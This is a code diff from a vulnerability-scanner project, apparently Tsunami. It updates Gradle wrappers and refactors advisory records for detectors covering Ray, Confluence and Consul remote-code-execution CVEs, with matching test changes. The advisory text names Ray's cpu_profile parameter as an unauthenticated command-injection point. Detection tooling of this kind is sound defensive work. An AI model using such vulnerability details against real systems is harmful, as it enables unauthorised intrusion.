DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()) - .comparingExpectedFieldsOnly() - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(targetNetworkService) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE-2023-6018")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-6018")) - .build()); - } - - @Test - public void detect_withCallbackServer_butNoCallback_returnsEmpty() throws IOException { - mockTargetService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(vulnerableResponseBody)); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - NetworkService targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("POST") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_withCallbackServer_onNonH2oPageButCallback_returnsEmpty() throws IOException { - mockTargetService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - NetworkService targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("POST") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_withoutCallbackServer_returnsEmpty() throws IOException { - NetworkService targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("POST") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().build(), - new Cve20236018DetectorModule()) - .injectMembers(this); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } -} diff --git a/google/detectors/rce/ai/cve20236019/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/ai/cve20236019/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/ai/cve20236019/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/ai/cve20236019/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/ai/cve20236019/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/ai/cve20236019/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/ai/cve20236019/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/ai/cve20236019/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/ai/cve20236019/gradlew b/google/detectors/rce/ai/cve20236019/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/ai/cve20236019/gradlew +++ b/google/detectors/rce/ai/cve20236019/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/ai/cve20236019/gradlew.bat b/google/detectors/rce/ai/cve20236019/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/ai/cve20236019/gradlew.bat +++ b/google/detectors/rce/ai/cve20236019/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/ai/cve20236019/src/main/java/com/google/tsunami/plugins/cve20236019/Cve20236019Detector.java b/google/detectors/rce/ai/cve20236019/src/main/java/com/google/tsunami/plugins/cve20236019/Cve20236019Detector.java index 409f96499..f1c78b279 100644 --- a/google/detectors/rce/ai/cve20236019/src/main/java/com/google/tsunami/plugins/cve20236019/Cve20236019Detector.java +++ b/google/detectors/rce/ai/cve20236019/src/main/java/com/google/tsunami/plugins/cve20236019/Cve20236019Detector.java @@ -74,6 +74,24 @@ public final class Cve20236019Detector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2023-6019")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2023-6019") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-6019")) + .setDescription( + "A command injection exists in Ray's cpu_profile URL parameter allowing" + + " attackers to execute os commands on the system running the ray" + + " dashboard remotely without authentication.") + .setRecommendation("Upgrade Ray to version 2.8.0. or later.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -145,19 +163,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2023-6019")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-6019") - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-6019")) - .setDescription( - "A command injection exists in Ray's cpu_profile URL parameter allowing" - + " attackers to execute os commands on the system running the ray" - + " dashboard remotely without authentication.") - .setRecommendation("Upgrade Ray to version 2.8.0. or later.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/confluence/cve202226134/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/confluence/cve202226134/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/confluence/cve202226134/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/confluence/cve202226134/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/confluence/cve202226134/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/confluence/cve202226134/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/confluence/cve202226134/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/confluence/cve202226134/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/confluence/cve202226134/gradlew b/google/detectors/rce/confluence/cve202226134/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/confluence/cve202226134/gradlew +++ b/google/detectors/rce/confluence/cve202226134/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/confluence/cve202226134/gradlew.bat b/google/detectors/rce/confluence/cve202226134/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/confluence/cve202226134/gradlew.bat +++ b/google/detectors/rce/confluence/cve202226134/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/confluence/cve202226134/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetector.java b/google/detectors/rce/confluence/cve202226134/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetector.java index 087af74d8..833df3f5b 100644 --- a/google/detectors/rce/confluence/cve202226134/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetector.java +++ b/google/detectors/rce/confluence/cve202226134/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetector.java @@ -96,6 +96,23 @@ public final class ConfluenceOgnlInjectionRceDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-26134")) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULN_DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -186,16 +203,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(networkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetectorWithCallbackServerTest.java b/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetectorWithCallbackServerTest.java index 588ad85c6..0f6366ba9 100644 --- a/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetectorWithCallbackServerTest.java +++ b/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetectorWithCallbackServerTest.java @@ -101,7 +101,7 @@ public void detect_whenVulnerable_reportsVulnerability() throws IOException { DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); assertThat(detectionReports.getDetectionReportsList()) - .contains(TestHelper.buildValidDetectionReport(target, service, fakeUtcClock)); + .contains(TestHelper.buildValidDetectionReport(detector, target, service, fakeUtcClock)); } @Test diff --git a/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetectorWithoutCallbackServerTest.java b/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetectorWithoutCallbackServerTest.java index 22cfb6c54..ad1c1a4e3 100644 --- a/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetectorWithoutCallbackServerTest.java +++ b/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/ConfluenceOgnlInjectionRceDetectorWithoutCallbackServerTest.java @@ -92,7 +92,7 @@ public void detect_whenVulnerable_reportsVulnerability() { DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); assertThat(detectionReports.getDetectionReportsList()) - .contains(TestHelper.buildValidDetectionReport(target, service, fakeUtcClock)); + .contains(TestHelper.buildValidDetectionReport(detector, target, service, fakeUtcClock)); } @Test diff --git a/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/TestHelper.java b/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/TestHelper.java index 10bd5cb0f..672ba7a6d 100644 --- a/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/TestHelper.java +++ b/google/detectors/rce/confluence/cve202226134/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226134/TestHelper.java @@ -17,11 +17,6 @@ package com.google.tsunami.plugins.detectors.rce.cve202226134; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.rce.cve202226134.ConfluenceOgnlInjectionRceDetector.RECOMMENDATION; -import static com.google.tsunami.plugins.detectors.rce.cve202226134.ConfluenceOgnlInjectionRceDetector.VULNERABILITY_REPORT_ID; -import static com.google.tsunami.plugins.detectors.rce.cve202226134.ConfluenceOgnlInjectionRceDetector.VULNERABILITY_REPORT_PUBLISHER; -import static com.google.tsunami.plugins.detectors.rce.cve202226134.ConfluenceOgnlInjectionRceDetector.VULNERABILITY_REPORT_TITLE; -import static com.google.tsunami.plugins.detectors.rce.cve202226134.ConfluenceOgnlInjectionRceDetector.VULN_DESCRIPTION; import com.google.protobuf.util.Timestamps; import com.google.tsunami.common.time.testing.FakeUtcClock; @@ -29,11 +24,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; import okhttp3.mockwebserver.MockWebServer; @@ -53,22 +45,16 @@ static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { } static DetectionReport buildValidDetectionReport( - TargetInfo target, NetworkService service, FakeUtcClock fakeUtcClock) { + ConfluenceOgnlInjectionRceDetector detector, + TargetInfo target, + NetworkService service, + FakeUtcClock fakeUtcClock) { return DetectionReport.newBuilder() .setTargetInfo(target) .setNetworkService(service) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(detector.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/consul/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/consul/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/consul/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/consul/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/consul/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/consul/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/consul/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/consul/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/consul/gradlew b/google/detectors/rce/consul/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/consul/gradlew +++ b/google/detectors/rce/consul/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/consul/gradlew.bat b/google/detectors/rce/consul/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/consul/gradlew.bat +++ b/google/detectors/rce/consul/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java b/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java index b5841119c..b89a60a2f 100644 --- a/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java +++ b/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java @@ -125,6 +125,21 @@ public final class ConsulEnableScriptChecksCommandExecutionDetector implements V "%s"); // Keep the second placeholder for the command payload later } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.CRITICAL) + 